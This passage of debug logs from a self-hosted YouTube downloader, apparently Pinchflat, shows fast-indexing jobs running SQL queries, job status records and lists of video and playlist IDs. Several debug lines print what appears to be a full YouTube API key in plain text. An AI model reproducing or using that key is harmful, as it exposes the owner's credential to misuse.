AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [40] 16:27:44.151 [debug] QUERY OK source="tasks" db=0.1ms idle=116.7ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799991, 40, ~U[2026-02-10 22:27:44Z], ~U[2026-02-10 22:27:44Z]] 16:27:44.151 [info] {"args":{"id":40},"id":3799952,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":118351,"event":"job:stop","queue_time":527493,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:45.033 [info] {"args":{"id":2},"id":3799953,"meta":{},"system_time":1770762465033753638,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:45.034 [debug] QUERY OK source="sources" db=0.1ms idle=882.8ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:27:45.034 [debug] QUERY OK source="settings" db=0.1ms idle=882.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:45.034 [debug] QUERY OK source="media_profiles" db=0.1ms idle=876.7ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:45.034 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:45.034 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:27:45.034 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:45.035 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:45.129 [debug] QUERY OK source="media_items" db=0.7ms idle=94.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "6ZgZNKd6L4w", "k99eZELFMnQ", "SoyXQcmSSDA", "hQDwpXfJXYI", "LRkDQZo_Anw", "sqng2mGejKw", "k9UsDilfbYM", "_cY1rFrNQpE", "7kqvE63fnE4", "jBYgqIPeZ4M", "oIs2ZCcj2Vg", "ck7r7wo829A", "Rv3LJQLMh3U", "LbVz5hXSIKg", "RB7CfRSFjCw", "B9DnrUB4CJM", "ghawYhsGdug", "uQkIZvbbQDA", "4GtFKbysSDY", "Bu671EegYWY", "UYErV4JoFyM", "y_d40V40clo", "7SRjYEHzbX8", "ij2ASG-LSt8", "RGLVdoaD-T0", "bvkgOoZKcwM", "j_2jvyqta0s", "4c63FU_d8T8", "RK2SnHjxGVs", "rA9aiYZOExg", "W8C4Ei0Ykvg", "rvP7or3PPNM", "ZFn-Q-PZtZU", "fwpnuNrSDaI", "ksLlg8f997w", "0RssLJL30h0", "dlW6a17NRew", "dd1TeK-YFuk", "9jBseM65hbs", "QQ49D1E24NM", "1GXzDm8PYp8", "B3P2jc8GX_Y", "ane7B2Q8jbs", "zjmbsU9GD6w", "7Y0UEQ_Jj_c", "clSil9gwZmM", "VKMzpJj8iFo", "j8-OvS8FY0k", "hOIjQTFD_Ss", ...] 16:27:45.132 [debug] QUERY OK source="media_items" db=2.0ms idle=95.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:27:45.133 [debug] QUERY OK source="tasks" db=0.1ms idle=97.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799992, 2, ~U[2026-02-10 22:27:45Z], ~U[2026-02-10 22:27:45Z]] 16:27:45.133 [info] {"args":{"id":2},"id":3799953,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":99362,"event":"job:stop","queue_time":548271,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:47.035 [info] {"args":{"id":38},"id":3799954,"meta":{},"system_time":1770762467035686422,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:47.035 [debug] QUERY OK source="sources" db=0.1ms idle=157.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [38] 16:27:47.036 [debug] QUERY OK source="settings" db=0.1ms idle=157.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:47.036 [debug] QUERY OK source="media_profiles" db=0.1ms idle=157.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:47.036 [debug] QUERY OK source="settings" db=0.0ms idle=6.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:47.036 [debug] Fetching recent media IDs from YouTube API for playlist: UU04RYGK0kWq2GJH7uKuvdFg 16:27:47.036 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:47.036 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:47.134 [debug] QUERY OK source="media_items" db=0.5ms idle=97.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [38, "ZtyjAvMIzvs", "ZoadJmKmyVI", "wtPYQdWPea0", "iY_9XEC6mq4", "BWADrQ3CQV4", "XunRKZR1ESc", "dfKW4ZBOaW4", "pD_HukFdNV8", "FJ6nxXlYZac", "FSTfYrqaNgc", "vPg59pmB1Nc", "l5Fl0XIxKfM", "ARwO8ApGMpU", "e7YtjflOT0I", "kl6AlqzF0N0", "VdPv4d0SYvc", "82Lo2Wf3TXM", "qS3cA_cZngc", "g4pJ-Mw53aU", "lbK38r-gV2Q", "U4OyMqmXqpo", "7tASAaMn9hA", "m1miWJTudv4", "VqkxBi1sBG0", "4OuM5mLWQq4", "sgMMljY3oFA", "tXy9epkxt70", "4CLC3yyK09w", "u0OSIl2-53w", "ATDYVHdtpEc", "zDyTHWr1N50", "fQGsTtqzB3Q", "qyCvEerjhnU", "WmFiNcw57o8", "rxhKvzxJgRk", "v3QssL74wA8", "5nKwdMKglm4", "D6xw9bxy3Qg", "rq0urtj1qaM", "qBdYNLq9VCE", "Ibi0y39Aiac", "5Q7ZKetopT4", "NO1V5fR0uH8", "QALB7C5SBSU", "Wq_iFeRsqTo", "3ro8TFTmYyA", "3Oa-9oelGWM", "ldsSZydyJds", "FQRm3QbUWG0", ...] 16:27:47.136 [debug] QUERY OK source="media_items" db=1.4ms idle=98.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [38] 16:27:47.137 [debug] QUERY OK source="tasks" db=0.1ms idle=100.5ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799993, 38, ~U[2026-02-10 22:27:47Z], ~U[2026-02-10 22:27:47Z]] 16:27:47.137 [info] {"args":{"id":38},"id":3799954,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":101589,"event":"job:stop","queue_time":417653,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:49.037 [info] {"args":{"id":41},"id":3799955,"meta":{},"system_time":1770762469037701256,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:49.038 [debug] QUERY OK source="sources" db=0.1ms idle=159.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [41] 16:27:49.038 [debug] QUERY OK source="settings" db=0.1ms idle=159.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:49.038 [debug] QUERY OK source="media_profiles" db=0.0ms idle=159.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:49.038 [debug] QUERY OK source="settings" db=0.0ms idle=6.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:49.038 [debug] Fetching recent media IDs from YouTube API for playlist: UUBPQEmXGMQ94cVvWwNaJYvA 16:27:49.038 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:49.038 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:49.118 [debug] QUERY OK source="media_items" db=0.5ms idle=80.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [41, "oi7b2R-UtzQ", "UhiAajLeMP4", "xUZ5SUZJLpI", "NuGLHRLsQMo", "T0pORsilgsA", "XrouZ_x_bCM", "Wc_717YgMD4", "XCpIQPZpRzY", "JCVcU_lipA8", "En6vq_4kncQ", "P_Fx911Mhz0", "HLmwXcg4SFY", "PC8SSpITSn4", "t-1kAyLif_Q", "ZNBdvuYDYig", "BET6j3gkxvM", "-dz0uGjJTXM", "n0EVf85B-nE", "eEi3gMjv6fo", "M0dCAV8ZLig", "_CJu60_Y43U", "FAw6YBA6Xp4", "i6b-p3QwgOs", "w7hhs98tplk", "eyedA_SXkgg", "DQWK28ug2Hg", "_mBggwjnhJE", "CjnexVMu0Kc", "hnMLJmbkf9c", "aqIf7GyL0wM", "eTDZKMNQ8YE", "h7nAUIq4c_A", "KMWFGSFRx50", "PHK2NuPSKg0", "f2uvTaavUR4", "ZEvVviGx8Bo", "MVCFQK-T0Aw", "fWQVSlFLQmA", "b9u77EHzDuo", "B7etbk9-gW8", "jRwPaXJTiFA", "3F2jfrzRu9A", "9yetu4LD2KY", "lnEFoY6fmQU", "frnl_o6OMOI", "vuK28mWFYnI", "CmEUBiuZwcM", "5SKQVu1LEdM", "j5fvWR98ldI", ...] 16:27:49.120 [debug] QUERY OK source="media_items" db=0.5ms idle=81.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [41] 16:27:49.120 [debug] QUERY OK source="tasks" db=0.1ms idle=81.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [3799994, 41, ~U[2026-02-10 22:27:49Z], ~U[2026-02-10 22:27:49Z]] 16:27:49.120 [info] {"args":{"id":41},"id":3799955,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":83042,"event":"job:stop","queue_time":542653,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:50.039 [info] {"args":{"id":5},"id":3799956,"meta":{},"system_time":1770762470039879450,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:27:50.040 [debug] QUERY OK source="sources" db=0.2ms idle=919.3ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [5] 16:27:50.040 [debug] QUERY OK source="settings" db=0.1ms idle=919.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:50.040 [debug] QUERY OK source="media_profiles" db=0.1ms idle=913.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:27:50.040 [debug] QUERY OK source="settings" db=0.0ms idle=7.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:50.040 [debug] Fetching recent media IDs from YouTube API for playlist: UUWFKCr40YwOZQx8FHU_ZqqQ 16:27:50.041 [debug] QUERY OK source="settings" db=0.0ms idle=1.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:27:50.041 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:27:50.152 [debug] QUERY OK source="media_items" db=0.6ms idle=111.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [5, "at1HS1CNhe4", "pdrkOatgS_A", "fZX9-DTtDu8", "DgIv5AL8ek0", "djQQcn82_-M", "8lgb4yJ4apU", "loHSfZtIZbE", "nb0MwOXlSZ4", "o_zc6xASQpo", "pwCuzh_HxH8", "KovIZ07Dyx0", "JlQ_djYS0Dg", "1ufoYAQIhu4", "CctFxxf5ApY", "3cZZg1F4RCM", "MxIotxKBjVs", "6HPf_fvPOo4", "TlMHxNDd1X0", "M6yt1wfLvDM", "Mlh6NXtaT_o", "EQMJhxyBsBo", "u9JLKYF71jE", "Npy2CUZZUng", "c1Q3m4x1bJc", "RCFsP8-KGbA", "I1UB7k60dAU", "0p_LmbcqEV4", "8rWtLqyQm6E", "ApwhFXN8bJ8", "3NPHV-X_HvY", "cu0_ZEIT5YU", "nUl4MdDnl1s", "T8TCN0aYs2s", "hgWUxQUlvKs", "mmRqMuMx5VE", "TyKtFYzJBbg", "6vmTf1PEcF8", "GlJaxmUGwr8", "u78CMLm10fU", "vCqX0ZkoPMU", "U4f0LqqYqNU", "S1vsk6Liubo", "c-H0zyWubLc", "WzdR8f2LzwM", "FhV_flNpQOs", "826O9YGrGCg", "i0SCgfej3w0", "w3QlyvY600Q", "O2hSlsvB8nA", ...] 16:27:50.155 [debug] QUERY OK source="media_items" db=2.4ms idle=112.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" 